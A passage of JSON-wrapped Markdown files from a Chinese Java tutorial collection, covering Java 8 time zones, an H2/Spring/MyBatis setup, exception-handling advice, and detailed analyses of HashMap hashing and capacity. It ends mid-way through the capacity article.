    "path": "docs/basics/java-basic/get-los_angeles-time.md",
    "content": "了解Java8 的朋友可能都知道，Java8提供了一套新的时间处理API，这套API比以前的时间处理API要友好的多。\n\nJava8 中加入了对时区的支持，带时区的时间为分别为：`ZonedDate`、`ZonedTime`、`ZonedDateTime`。\n\n其中每个时区都对应着 ID，地区ID都为 “{区域}/{城市}”的格式，如`Asia/Shanghai`、`America/Los_Angeles`等。\n\n在Java8中，直接使用以下代码即可输出美国洛杉矶的时间：\n    \n    LocalDateTime now = LocalDateTime.now(ZoneId.of(\"America/Los_Angeles\"));\n    System.out.println(now);\n    \n    \n    \n为什么以下代码无法获得美国时间呢？\n\n    System.out.println(Calendar.getInstance(TimeZone.getTimeZone(\"America/Los_Angeles\")).getTime());\n    \n当我们使用System.out.println来输出一个时间的时候，他会调用Date类的toString方法，而该方法会读取操作系统的默认时区来进行时间的转换。\n    \n    public String toString() {\n        // \"EEE MMM dd HH:mm:ss zzz yyyy\";\n        BaseCalendar.Date date = normalize();\n        ...\n    }\n    \n    private final BaseCalendar.Date normalize() {\n        ...\n        TimeZone tz = TimeZone.getDefaultRef();\n        if (tz != cdate.getZone()) {\n            cdate.setZone(tz);\n            CalendarSystem cal = getCalendarSystem(cdate);\n            cal.getCalendarDate(fastTime, cdate);\n        }\n        return cdate;\n    }\n    \n    static TimeZone getDefaultRef() {\n        TimeZone defaultZone = defaultTimeZone;\n        if (defaultZone == null) {\n            // Need to initialize the default time zone.\n            defaultZone = setDefaultZone();\n            assert defaultZone != null;\n        }\n        // Don't clone here.\n        return defaultZone;\n    }\n    \n主要代码如上。也就是说如果我们想要通过`System.out.println`输出一个Date类的时候，输出美国洛杉矶时间的话，就需要想办法把`defaultTimeZone`改为`America/Los_Angeles`\n    \n但是，通过阅读Calendar的源码，我们可以发现，getInstance方法虽然有一个参数可以传入时区，但是并没有将默认时区设置成传入的时区。\n\n而在Calendar.getInstance.getTime后得到的时间只是一个时间戳，其中未保留任何和时区有关的信息，所以，在输出时，还是显示的是当前系统默认时区的时间。"
  },
  {
    "path": "docs/basics/java-basic/h2-db.md",
    "content": "H2是一个开源的嵌入式（非嵌入式设备）数据库引擎，它是一个用Java开发的类库，可直接嵌入到应用程序中，与应用程序一起打包发布，不受平台限制。\n\nH2与Derby、HSQLDB、MySQL、PostgreSQL等开源数据库相比，H2的优势为：\n* Java开发，不受平台限制；\n* H2只有一个jar包，占用空间小，适合嵌入式数据库；\n* 有web控制台，用于管管理数据库。\n\n接下来介绍Spring+Mybatis+H2的数据库访问实践，参考：https://blog.csdn.net/xktxoo/article/details/78014739\n\n添加H2数据库依赖：\n\n```\n<dependency>\n    <groupId>com.h2database</groupId>\n    <artifactId>h2</artifactId>\n    <version>1.4.190</version>\n</dependency>\n```\n\n\n      \nH2数据库属性文件配置如下，本文采用内存模式访问H2数据库：\n``` \ndriver=org.h2.Driver\n# 内存模式\nurl=jdbc:h2:mem:testdb;MODE=MYSQL;DB_CLOSE_DELAY=-1\n# 持久化模式\n#url= jdbc:h2:tcp://localhost/~/test1;MODE=MYSQL;DB_CLOSE_DELAY=-1\n```\n\nH2数据库访问的Spring配置文件为：\n\n``` \n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\"\n       xmlns:jdbc=\"http://www.springframework.org/schema/jdbc\"\n       xsi:schemaLocation=\"\n            http://www.springframework.org/schema/beans\n                http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n            http://www.springframework.org/schema/tx\n                http://www.springframework.org/schema/tx/spring-tx-4.0.xsd\n            http://www.springframework.org/schema/jdbc\n                http://www.springframework.org/schema/jdbc/spring-jdbc-3.0.xsd\">\n\n    <!-- 引入属性文件 -->\n    <bean id=\"propertyConfigurer\" class=\"org.springframework.beans.factory.config.PropertyPlaceholderConfigurer\">\n        <property name=\"locations\">\n            <list>\n                <value>classpath:config.properties</value>\n            </list>\n        </property>\n    </bean>\n\n    <!-- 自动扫描DAO -->\n    <bean class=\"org.mybatis.spring.mapper.MapperScannerConfigurer\">\n        <property name=\"basePackage\" value=\"com.xiaofan.test\" />\n    </bean>\n\n    <!-- 配置Mybatis sqlSessionFactory -->\n    <bean id=\"sqlSessionFactory\" class=\"org.mybatis.spring.SqlSessionFactoryBean\">\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n        <property name=\"configLocation\" value=\"classpath:mybatis_config.xml\"/>\n        <property name=\"mapperLocations\" value=\"classpath:user_mapper.xml\"/>\n    </bean>\n\n    <!-- 配置数据源 -->\n    <bean id=\"dataSource\"\n          class=\"org.springframework.jdbc.datasource.DriverManagerDataSource\">\n        <property name=\"driverClassName\" value=\"${driver}\" />\n        <property name=\"url\" value=\"${url}\" />\n        <!--<property name=\"username\" value=\"sa\" />-->\n        <!--<property name=\"password\" value=\"123\" />-->\n    </bean>\n\n    <!-- 初始化数据库 -->\n    <jdbc:initialize-database data-source=\"dataSource\" ignore-failures=\"DROPS\">\n        <jdbc:script location=\"classpath:sql/ddl.sql\" />\n        <jdbc:script location=\"classpath:sql/dml.sql\" />\n    </jdbc:initialize-database>\n\n    <!-- 配置事务管理 -->\n    <tx:annotation-driven transaction-manager=\"transactionManager\" proxy-target-class=\"true\"/>\n    <bean id=\"transactionManager\"\n          class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n    </bean>\n\n</beans>\n```\n\n初始化数据库的DDL语句文件为：\n```\nCREATE TABLE `user` (\n  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,\n  `name` varchar(100) NOT NULL,\n  `age` int(11) NOT NULL,\n  PRIMARY KEY (`id`)\n);\n```\n\n初始化数据库的DML语句文件为：\n```\ninsert into `user` (`id`,`name`,`age`) values (1, 'Jerry', 27);\ninsert into `user` (`id`,`name`,`age`) values (2, 'Angel', 25);\n```\n\n编写测试文件，如下：\n\n```java\n/**\n * Created by Jerry on 17/7/30.\n */\n@ContextConfiguration(locations = {\"classpath:config.xml\"})\n@RunWith(SpringJUnit4ClassRunner.class)\npublic class Test extends AbstractJUnit4SpringContextTests{\n\n    @Resource\n    UserDAO userDAO;\n\n    @org.junit.Test\n    public void testInsert() {\n\n        int result = userDAO.insert(new User(null, \"LiLei\", 27));\n\n        Assert.assertTrue(result > 0);\n    }\n\n    @org.junit.Test\n    public void testUpdate() {\n        int result = userDAO.update(new User(2L, \"Jerry update\", 28));\n\n        Assert.assertTrue(result > 0);\n    }\n\n    @org.junit.Test\n    public void testSelect() {\n        User result = userDAO.findByName(new User(null, \"Jerry\", null));\n\n        Assert.assertTrue(result.getAge() != null);\n    }\n\n    @org.junit.Test\n    public void testDelete() {\n        int result = userDAO.delete(\"Jerry\");\n\n        Assert.assertTrue(result > 0);\n    }\n\n}\n```"
  },
  {
    "path": "docs/basics/java-basic/handle-exception.md",
    "content": "异常的处理⽅式有两种。 1、 ⾃⼰处理。 2、 向上抛， 交给调⽤者处理。\n\n\n异常， 千万不能捕获了之后什么也不做。 或者只是使⽤`e.printStacktrace`。\n\n具体的处理⽅式的选择其实原则⽐较简明： ⾃⼰明确的知道如何处理的， 就要处理掉。 不知道如何处理的， 就交给调⽤者处理。"
  },
  {
    "path": "docs/basics/java-basic/hash-in-hashmap.md",
    "content": "你知道HashMap中hash方法的具体实现吗？你知道HashTable、ConcurrentHashMap中hash方法的实现以及原因吗？你知道为什么要这么实现吗？你知道为什么JDK 7和JDK 8中hash方法实现的不同以及区别吗？如果你不能很好的回答这些问题，那么你需要好好看看这篇文章。文中涉及到大量代码和计算机底层原理知识。绝对的干货满满。整个互联网，把hash()分析的如此透彻的，别无二家。\n\n### 哈希\n\n**Hash，一般翻译做“散列”，也有直接音译为“哈希”的，就是把任意长度的输入，通过散列算法，变换成固定长度的输出，该输出就是散列值。**这种转换是一种压缩映射，也就是，散列值的空间通常远小于输入的空间，不同的输入可能会散列成相同的输出，所以不可能从散列值来唯一的确定输入值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。\n\n所有散列函数都有如下一个基本特性：**根据同一散列函数计算出的散列值如果不同，那么输入值肯定也不同。但是，根据同一散列函数计算出的散列值如果相同，输入值不一定相同。**\n\n**两个不同的输入值，根据同一散列函数计算出的散列值相同的现象叫做碰撞。**\n\n常见的Hash函数有以下几个：\n\n> 直接定址法：直接以关键字k或者k加上某个常数（k+c）作为哈希地址。\n> \n> 数字分析法：提取关键字中取值比较均匀的数字作为哈希地址。\n> \n> 除留余数法：用关键字k除以某个不大于哈希表长度m的数p，将所得余数作为哈希表地址。\n> \n> 分段叠加法：按照哈希表地址位数将关键字分成位数相等的几部分，其中最后一部分可以比较短。然后将这几部分相加，舍弃最高进位后的结果就是该关键字的哈希地址。\n> \n> 平方取中法：如果关键字各个部分分布都不均匀的话，可以先求出它的平方值，然后按照需求取中间的几位作为哈希地址。\n> \n> 伪随机数法：采用一个伪随机数当作哈希函数。\n\n上面介绍过碰撞。衡量一个哈希函数的好坏的重要指标就是发生碰撞的概率以及发生碰撞的解决方案。任何哈希函数基本都无法彻底避免碰撞，常见的解决碰撞的方法有以下几种：\n\n*   开放定址法： \n    *   开放定址法就是一旦发生了冲突，就去寻找下一个空的散列地址，只要散列表足够大，空的散列地址总能找到，并将记录存入。\n*   链地址法 \n    *   将哈希表的每个单元作为链表的头结点，所有哈希地址为i的元素构成一个同义词链表。即发生冲突时就把该关键字链在以该单元为头结点的链表的尾部。\n*   再哈希法 \n    *   当哈希地址发生冲突用其他的函数计算另一个哈希函数地址，直到冲突不再产生为止。\n*   建立公共溢出区 \n    *   将哈希表分为基本表和溢出表两部分，发生冲突的元素都放入溢出表中。\n\n### HashMap 的数据结构\n\n在Java中，保存数据有两种比较简单的数据结构：数组和链表。**数组的特点是：寻址容易，插入和删除困难；而链表的特点是：寻址困难，插入和删除容易。**上面我们提到过，常用的哈希函数的冲突解决办法中有一种方法叫做链地址法，其实就是将数组和链表组合在一起，发挥了两者的优势，我们可以将其理解为链表的数组。\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2018/03/640.png\" alt=\"640\" width=\"861\" height=\"396\" class=\"aligncenter size-full wp-image-2093\" />][1]\n\n我们可以从上图看到，左边很明显是个数组，数组的每个成员是一个链表。该数据结构所容纳的所有元素均包含一个指针，用于元素间的链接。我们根据元素的自身特征把元素分配到不同的链表中去，反过来我们也正是通过这些特征找到正确的链表，再从链表中找出正确的元素。其中，根据元素特征计算元素数组下标的方法就是哈希算法，即本文的主角hash()函数（当然，还包括indexOf()函数）。\n\n### hash方法\n\n我们拿JDK 1.7的HashMap为例，其中定义了一个final int hash(Object k) 方法，其主要被以下方法引用。\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2018/03/hash-use.png\" alt=\"hash-use\" width=\"406\" height=\"226\" class=\"aligncenter size-full wp-image-2095\" />][2]\n\n上面的方法主要都是增加和删除方法，这不难理解，当我们要对一个链表数组中的某个元素进行增删的时候，首先要知道他应该保存在这个链表数组中的哪个位置，即他在这个数组中的下标。而hash()方法的功能就是根据Key来定位其在HashMap中的位置。HashTable、ConcurrentHashMap同理。\n\n### 源码解析\n\n首先，在同一个版本的Jdk中，HashMap、HashTable以及ConcurrentHashMap里面的hash方法的实现是不同的。在不同的版本的JDK中（Java7 和 Java8）中也是有区别的。我会尽量全部介绍到。相信，看完这篇文章，你会彻底理解hash方法。\n\n在上代码之前，我们先来做个简单分析。我们知道，hash方法的功能是根据Key来定位这个K-V在链表数组中的位置的。也就是hash方法的输入应该是个Object类型的Key，输出应该是个int类型的数组下标。如果让你设计这个方法，你会怎么做？\n\n其实简单，我们只要调用Object对象的hashCode()方法，该方法会返回一个整数，然后用这个数对HashMap或者HashTable的容量进行取模就行了。没错，其实基本原理就是这个，只不过，在具体实现上，由两个方法`int hash(Object k)`和`int indexFor(int h, int length)`来实现。但是考虑到效率等问题，HashMap的实现会稍微复杂一点。\n\n> hash ：该方法主要是将Object转换成一个整型。\n> \n> indexFor ：该方法主要是将hash生成的整型转换成链表数组中的下标。\n\n#### HashMap In Java 7\n\n    final int hash(Object k) {\n        int h = hashSeed;\n        if (0 != h && k instanceof String) {\n            return sun.misc.Hashing.stringHash32((String) k);\n        }\n    \n        h ^= k.hashCode();\n        h ^= (h >>> 20) ^ (h >>> 12);\n        return h ^ (h >>> 7) ^ (h >>> 4);\n    }\n    \n    static int indexFor(int h, int length) {\n        return h & (length-1);\n    }\n    \n\n前面我说过，`indexFor`方法其实主要是将hash生成的整型转换成链表数组中的下标。那么`return h & (length-1);`是什么意思呢？其实，他就是取模。Java之所以使用位运算(&)来代替取模运算(%)，最主要的考虑就是效率。**位运算(&)效率要比代替取模运算(%)高很多，主要原因是位运算直接对内存数据进行操作，不需要转成十进制，因此处理速度非常快。**\n\n那么，为什么可以使用位运算(&)来实现取模运算(%)呢？这实现的原理如下：\n\n> X % 2^n = X & (2^n - 1)\n> \n> 2^n表示2的n次方，也就是说，一个数对2^n取模 == 一个数和(2^n - 1)做按位与运算 。\n> \n> 假设n为3，则2^3 = 8，表示成2进制就是1000。2^3 -1 = 7 ，即0111。\n> \n> 此时X & (2^3 - 1) 就相当于取X的2进制的最后三位数。\n> \n> 从2进制角度来看，X / 8相当于 X >> 3，即把X右移3位，此时得到了X / 8的商，而被移掉的部分(后三位)，则是X % 8，也就是余数。\n\n上面的解释不知道你有没有看懂，没看懂的话其实也没关系，你只需要记住这个技巧就可以了。或者你可以找几个例子试一下。\n\n> 6 % 8 = 6 ，6 & 7 = 6\n> \n> 10 & 8 = 2 ，10 & 7 = 2\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2018/03/640-1.png\" alt=\"640 (1)\" width=\"421\" height=\"177\" class=\"aligncenter size-full wp-image-2096\" />][3]\n\n所以，`return h & (length-1);`只要保证length的长度是`2^n`的话，就可以实现取模运算了。而HashMap中的length也确实是2的倍数，初始值是16，之后每次扩充为原来的2倍。\n\n分析完`indexFor`方法后，我们接下来准备分析`hash`方法的具体原理和实现。在深入分析之前，至此，先做个总结。\n\nHashMap的数据是存储在链表数组里面的。在对HashMap进行插入/删除等操作时，都需要根据K-V对的键值定位到他应该保存在数组的哪个下标中。而这个通过键值求取下标的操作就叫做哈希。HashMap的数组是有长度的，Java中规定这个长度只能是2的倍数，初始值为16。简单的做法是先求取出键值的hashcode，然后在将hashcode得到的int值对数组长度进行取模。为了考虑性能，Java总采用按位与操作实现取模操作。\n\n接下来我们会发现，无论是用取模运算还是位运算都无法直接解决冲突较大的问题。比如：`CA11 0000`和`0001 0000`在对`0000 1111`进行按位与运算后的值是相等的。 [<img src=\"http://www.hollischuang.com/wp-content/uploads/2018/03/640-2.png\" alt=\"640 (2)\" width=\"422\" height=\"148\" class=\"aligncenter size-full wp-image-2097\" />][4]\n\n两个不同的键值，在对数组长度进行按位与运算后得到的结果相同，这不就发生了冲突吗。那么如何解决这种冲突呢，来看下Java是如何做的。\n\n其中的主要代码部分如下：\n\n    h ^= k.hashCode();\n    h ^= (h >>> 20) ^ (h >>> 12);\n    return h ^ (h >>> 7) ^ (h >>> 4);\n    \n\n这段代码是为了对key的hashCode进行扰动计算，防止不同hashCode的高位不同但低位相同导致的hash冲突。简单点说，就是为了把高位的特征和低位的特征组合起来，降低哈希冲突的概率，也就是说，尽量做到任何一位的变化都能对最终得到的结果产生影响。\n\n举个例子来说，我们现在想向一个HashMap中put一个K-V对，Key的值为“hollischuang”，经过简单的获取hashcode后，得到的值为“1011000110101110011111010011011”，如果当前HashTable的大小为16，即在不进行扰动计算的情况下，他最终得到的index结果值为11。由于15的二进制扩展到32位为“00000000000000000000000000001111”，所以，一个数字在和他进行按位与操作的时候，前28位无论是什么，计算结果都一样（因为0和任何数做与，结果都为0）。如下图所示。\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2018/03/640-3.png\" alt=\"640 (3)\" width=\"611\" height=\"281\" class=\"aligncenter size-full wp-image-2098\" />][5]\n\n可以看到，后面的两个hashcode经过位运算之后得到的值也是11 ，虽然我们不知道哪个key的hashcode是上面例子中的那两个，但是肯定存在这样的key，这就产生了冲突。\n\n那么，接下来，我看看一下经过扰动的算法最终的计算结果会如何。\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2018/03/640-4.png\" alt=\"640 (4)\" width=\"836\" height=\"443\" class=\"aligncenter size-full wp-image-2099\" />][6]\n\n从上面图中可以看到，之前会产生冲突的两个hashcode，经过扰动计算之后，最终得到的index的值不一样了，这就很好的避免了冲突。\n\n> 其实，使用位运算代替取模运算，除了性能之外，还有一个好处就是可以很好的解决负数的问题。因为我们知道，hashcode的结果是int类型，而int的取值范围是-2^31 ~ 2^31 - 1，即[ -2147483648, 2147483647]；这里面是包含负数的，我们知道，对于一个负数取模还是有些麻烦的。如果使用二进制的位运算的话就可以很好的避免这个问题。首先，不管hashcode的值是正数还是负数。length-1这个值一定是个正数。那么，他的二进制的第一位一定是0（有符号数用最高位作为符号位，“0”代表“+”，“1”代表“-”），这样里两个数做按位与运算之后，第一位一定是个0，也就是，得到的结果一定是个正数。\n\n### HashTable In Java 7\n\n上面是Java 7中HashMap的`hash`方法以及`indexOf`方法的实现，那么接下来我们要看下，线程安全的HashTable是如何实现的，和HashMap有何不同，并试着分析下不同的原因。以下是Java 7中HashTable的hash方法的实现。\n\n    private int hash(Object k) {\n        // hashSeed will be zero if alternative hashing is disabled.\n        return hashSeed ^ k.hashCode();\n    }\n    \n\n我们可以发现，很简单，相当于只是对k做了个简单的hash，取了一下其hashCode。而HashTable中也没有`indexOf`方法，取而代之的是这段代码：`int index = (hash & 0x7FFFFFFF) % tab.length;`。也就是说，HashMap和HashTable对于计算数组下标这件事，采用了两种方法。HashMap采用的是位运算，而HashTable采用的是直接取模。\n\n> 为啥要把hash值和0x7FFFFFFF做一次按位与操作呢，主要是为了保证得到的index的第一位为0，也就是为了得到一个正数。因为有符号数第一位0代表正数，1代表负数。\n\n我们前面说过，HashMap之所以不用取模的原因是为了提高效率。有人认为，因为HashTable是个线程安全的类，本来就慢，所以Java并没有考虑效率问题，就直接使用取模算法了呢？但是其实并不完全是，Java这样设计还是有一定的考虑在的，虽然这样效率确实是会比HashMap慢一些。\n\n其实，HashTable采用简单的取模是有一定的考虑在的。这就要涉及到HashTable的构造函数和扩容函数了。由于篇幅有限，这里就不贴代码了，直接给出结论：\n\n> HashTable默认的初始大小为11，之后每次扩充为原来的2n+1。\n> \n> 也就是说，HashTable的链表数组的默认大小是一个素数、奇数。之后的每次扩充结果也都是奇数。\n> \n> 由于HashTable会尽量使用素数、奇数作为容量的大小。当哈希表的大小为素数时，简单的取模哈希的结果会更加均匀。（这个是可以证明出来的，由于不是本文重点，暂不详细介绍，可参考：http://zhaox.github.io/algorithm/2015/06/29/hash \n\n至此，我们看完了Java 7中HashMap和HashTable中对于hash的实现，我们来做个简单的总结。\n\n*   HashMap默认的初始化大小为16，之后每次扩充为原来的2倍。\n*   HashTable默认的初始大小为11，之后每次扩充为原来的2n+1。\n*   当哈希表的大小为素数时，简单的取模哈希的结果会更加均匀，所以单从这一点上看，HashTable的哈希表大小选择，似乎更高明些。因为hash结果越分散效果越好。\n*   在取模计算时，如果模数是2的幂，那么我们可以直接使用位运算来得到结果，效率要大大高于做除法。所以从hash计算的效率上，又是HashMap更胜一筹。\n*   但是，HashMap为了提高效率使用位运算代替哈希，这又引入了哈希分布不均匀的问题，所以HashMap为解决这问题，又对hash算法做了一些改进，进行了扰动计算。\n\n### ConcurrentHashMap In Java 7\n\n    private int hash(Object k) {\n        int h = hashSeed;\n    \n        if ((0 != h) && (k instanceof String)) {\n            return sun.misc.Hashing.stringHash32((String) k);\n        }\n    \n        h ^= k.hashCode();\n    \n        // Spread bits to regularize both segment and index locations,\n        // using variant of single-word Wang/Jenkins hash.\n        h += (h <<  15) ^ 0xffffcd7d;\n        h ^= (h >>> 10);\n        h += (h <<   3);\n        h ^= (h >>>  6);\n        h += (h <<   2) + (h << 14);\n        return h ^ (h >>> 16);\n    }\n    \n    int j = (hash >>> segmentShift) & segmentMask;\n    \n\n上面这段关于ConcurrentHashMap的hash实现其实和HashMap如出一辙。都是通过位运算代替取模，然后再对hashcode进行扰动。区别在于，ConcurrentHashMap 使用了一种变种的Wang/Jenkins 哈希算法，其主要目的也是为了把高位和低位组合在一起，避免发生冲突。至于为啥不和HashMap采用同样的算法进行扰动，我猜这只是程序员自由意志的选择吧。至少我目前没有办法证明哪个更优。\n\n### HashMap In Java 8\n\n在Java 8 之前，HashMap和其他基于map的类都是通过链地址法解决冲突，它们使用单向链表来存储相同索引值的元素。在最坏的情况下，这种方式会将HashMap的get方法的性能从`O(1)`降低到`O(n)`。为了解决在频繁冲突时hashmap性能降低的问题，Java 8中使用平衡树来替代链表存储冲突的元素。这意味着我们可以将最坏情况下的性能从`O(n)`提高到`O(logn)`。关于HashMap在Java 8中的优化，我后面会有文章继续深入介绍。\n\n如果恶意程序知道我们用的是Hash算法，则在纯链表情况下，它能够发送大量请求导致哈希碰撞，然后不停访问这些key导致HashMap忙于进行线性查找，最终陷入瘫痪，即形成了拒绝服务攻击（DoS）。\n\n关于Java 8中的hash函数，原理和Java 7中基本类似。Java 8中这一步做了优化，只做一次16位右位移异或混合，而不是四次，但原理是不变的。\n\n    static final int hash(Object key) {\n        int h;\n        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);\n    }\n    \n\n在JDK1.8的实现中，优化了高位运算的算法，通过hashCode()的高16位异或低16位实现的：(h = k.hashCode()) ^ (h >>> 16)，主要是从速度、功效、质量来考虑的。以上方法得到的int的hash值，然后再通过`h & (table.length -1)`来得到该对象在数据中保存的位置。\n\nHashTable In Java 8\n\n在Java 8的HashTable中，已经不再有hash方法了。但是哈希的操作还是在的，比如在put方法中就有如下实现：\n\n        int hash = key.hashCode();\n        int index = (hash & 0x7FFFFFFF) % tab.length;\n    \n\n这其实和Java 7中的实现几乎无差别，就不做过多的介绍了。\n\n### ConcurrentHashMap In Java 8\n\nJava 8 里面的求hash的方法从hash改为了spread。实现方式如下：\n\n    static final int spread(int h) {\n        return (h ^ (h >>> 16)) & HASH_BITS;\n    }\n    \n\nJava 8的ConcurrentHashMap同样是通过Key的哈希值与数组长度取模确定该Key在数组中的索引。同样为了避免不太好的Key的hashCode设计，它通过如下方法计算得到Key的最终哈希值。不同的是，Java 8的ConcurrentHashMap作者认为引入红黑树后，即使哈希冲突比较严重，寻址效率也足够高，所以作者并未在哈希值的计算上做过多设计，只是将Key的hashCode值与其高16位作异或并保证最高位为0（从而保证最终结果为正整数）。\n\n### 总结\n\n至此，我们已经分析完了HashMap、HashTable以及ConcurrentHashMap分别在Jdk 1.7 和 Jdk 1.8中的实现。我们可以发现，为了保证哈希的结果可以分散、为了提高哈希的效率，JDK在一个小小的hash方法上就有很多考虑，做了很多事情。当然，我希望我们不仅可以深入了解背后的原理，还要学会这种对代码精益求精的态度。\n\nJdk的源代码，每一行都很有意思，都值得花时间去钻研、推敲。\n\n[哈希表（HashTable）的构造方法和冲突解决][7]\n\n[HashMap的数据结构][8]\n\n[HashMap和HashTable到底哪不同？][9]\n\n[知乎问题][10]中 @二大王 和 @Anra的答案\n\n [1]: http://www.hollischuang.com/wp-content/uploads/2018/03/640.png\n [2]: http://www.hollischuang.com/wp-content/uploads/2018/03/hash-use.png\n [3]: http://www.hollischuang.com/wp-content/uploads/2018/03/640-1.png\n [4]: http://www.hollischuang.com/wp-content/uploads/2018/03/640-2.png\n [5]: http://www.hollischuang.com/wp-content/uploads/2018/03/640-3.png\n [6]: http://www.hollischuang.com/wp-content/uploads/2018/03/640-4.png\n [7]: https://www.jianshu.com/p/7e7f52a49ffc\n [8]: http://blog.csdn.net/justloveyou_/article/details/62893086\n [9]: http://zhaox.github.io/2016/07/05/hashmap-vs-hashtable\n [10]: https://www.zhihu.com/question/51784530\n"
  },
  {
    "path": "docs/basics/java-basic/hashmap-capacity.md",
    "content": "很多人在通过阅读源码的方式学习Java，这是个很好的方式。而JDK的源码自然是首选。在JDK的众多类中，我觉得HashMap及其相关的类是设计的比较好的。很多人读过HashMap的代码，不知道你们有没有和我一样，觉得HashMap中关于容量相关的参数定义的太多了，傻傻分不清楚。\n\n其实，这篇文章介绍的内容比较简单，只要认真的看看HashMap的原理还是可以理解的，单独写一篇文章的原因是因为我后面还有几篇关于HashMap源码分析的文章，这些概念不熟悉的话阅读后面的文章会很吃力。\n\n先来看一下，HashMap中都定义了哪些成员变量。\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2018/05/paramInMap.png\" alt=\"paramInMap\" width=\"523\" height=\"288\" class=\"aligncenter size-full wp-image-2424\" />][1]\n\n上面是一张HashMap中主要的成员变量的图，其中有一个是我们本文主要关注的： `size`、`loadFactor`、`threshold`、`DEFAULT_LOAD_FACTOR`和`DEFAULT_INITIAL_CAPACITY`。\n\n我们先来简单解释一下这些参数的含义，然后再分析他们的作用。\n\nHashMap类中有以下主要成员变量：\n\n*   transient int size; \n    *   记录了Map中KV对的个数\n*   loadFactor \n    *   装载因子，用来衡量HashMap满的程度。loadFactor的默认值为0.75f（`static final float DEFAULT_LOAD_FACTOR = 0.75f;`）。\n*   int threshold; \n    *   临界值，当实际KV个数超过threshold时，HashMap会将容量扩容，threshold＝容量*装载因子\n*   除了以上这些重要成员变量外，HashMap中还有一个和他们紧密相关的概念：capacity \n    *   容量，如果不指定，默认容量是16(`static final int DEFAULT_INITIAL_CAPACITY = 1 << 4;`)\n\n可能看完了你还是有点蒙，size和capacity之间有啥关系？为啥要定义这两个变量。loadFactor和threshold又是干啥的？\n\n### size 和 capacity\n\nHashMap中的size和capacity之间的区别其实解释起来也挺简单的。我们知道，HashMap就像一个“桶”，那么capacity就是这个桶“当前”最多可以装多少元素，而size表示这个桶已经装了多少元素。来看下以下代码：\n\n        Map<String, String> map = new HashMap<String, String>();\n        map.put(\"hollis\", \"hollischuang\");\n    \n        Class<?> mapType = map.getClass();\n        Method capacity = mapType.getDeclaredMethod(\"capacity\");\n        capacity.setAccessible(true);\n        System.out.println(\"capacity : \" + capacity.invoke(map));\n    \n        Field size = mapType.getDeclaredField(\"size\");\n        size.setAccessible(true);\n        System.out.println(\"size : \" + size.get(map));\n    \n\n我们定义了一个新的HashMap，并想其中put了一个元素，然后通过反射的方式打印capacity和size。输出结果为：**capacity : 16、size : 1**\n\n默认情况下，一个HashMap的容量（capacity）是16，设计成16的好处我在《[全网把Map中的hash()分析的最透彻的文章，别无二家。][2]》中也简单介绍过，主要是可以使用按位与替代取模来提升hash的效率。\n\n为什么我刚刚说capacity就是这个桶“当前”最多可以装多少元素呢？当前怎么理解呢。其实，HashMap是具有扩容机制的。在一个HashMap第一次初始化的时候，默认情况下他的容量是16，当达到扩容条件的时候，就需要进行扩容了，会从16扩容成32。\n\n我们知道，HashMap的重载的构造函数中，有一个是支持传入initialCapacity的，那么我们尝试着设置一下，看结果如何。\n\n        Map<String, String> map = new HashMap<String, String>(1);\n    \n        Class<?> mapType = map.getClass();\n        Method capacity = mapType.getDeclaredMethod(\"capacity\");\n        capacity.setAccessible(true);\n        System.out.println(\"capacity : \" + capacity.invoke(map));\n    \n        Map<String, String> map = new HashMap<String, String>(7);\n    \n        Class<?> mapType = map.getClass();\n        Method capacity = mapType.getDeclaredMethod(\"capacity\");\n        capacity.setAccessible(true);\n        System.out.println(\"capacity : \" + capacity.invoke(map));\n    \n    \n        Map<String, String> map = new HashMap<String, String>(9);\n    \n        Class<?> mapType = map.getClass();\n        Method capacity = mapType.getDeclaredMethod(\"capacity\");\n        capacity.setAccessible(true);\n        System.out.println(\"capacity : \" + capacity.invoke(map));\n    \n\n分别执行以上3段代码，分别输出：**capacity : 1、capacity : 8、capacity : 16**。\n\n也就是说，默认情况下HashMap的容量是16，但是，如果用户通过构造函数指定了一个数字作为容量，那么Hash会选择大于该数字的第一个2的幂作为容量。(1->1、7->8、9->16)\n\n> 这里有一个小建议：在初始化HashMap的时候，应该尽量指定其大小。尤其是当你已知map中存放的元素个数时。（《阿里巴巴Java开发规约》）\n\n### loadFactor 和 threshold\n\n前面我们提到过，HashMap有扩容机制，就是当达到扩容条件时会进行扩容，从16扩容到32、64、128...\n\n那么，这个扩容条件指的是什么呢？\n\n其实，HashMap的扩容条件就是当HashMap中的元素个数（size）超过临界值（threshold）时就会自动扩容。\n\n在HashMap中，threshold = loadFactor * capacity。\n\nloadFactor是装载因子，表示HashMap满的程度，默认值为0.75f，设置成0.75有一个好处，那就是0.75正好是3/4，而capacity又是2的幂。所以，两个数的乘积都是整数。\n\n对于一个默认的HashMap来说，默认情况下，当其size大于12(16*0.75)时就会触发扩容。\n\n验证代码如下：\n\n        Map<String, String> map = new HashMap<>();\n        map.put(\"hollis1\", \"hollischuang\");\n        map.put(\"hollis2\", \"hollischuang\");\n        map.put(\"hollis3\", \"hollischuang\");\n        map.put(\"hollis4\", \"hollischuang\");\n        map.put(\"hollis5\", \"hollischuang\");\n        map.put(\"hollis6\", \"hollischuang\");\n        map.put(\"hollis7\", \"hollischuang\");\n        map.put(\"hollis8\", \"hollischuang\");\n        map.put(\"hollis9\", \"hollischuang\");\n        map.put(\"hollis10\", \"hollischuang\");\n        map.put(\"hollis11\", \"hollischuang\");\n        map.put(\"hollis12\", \"hollischuang\");\n        Class<?> mapType = map.getClass();\n    \n        Method capacity = mapType.getDeclaredMethod(\"capacity\");\n        capacity.setAccessible(true);\n        System.out.println(\"capacity : \" + capacity.invoke(map));\n    \n        Field size = mapType.getDeclaredField(\"size\");\n        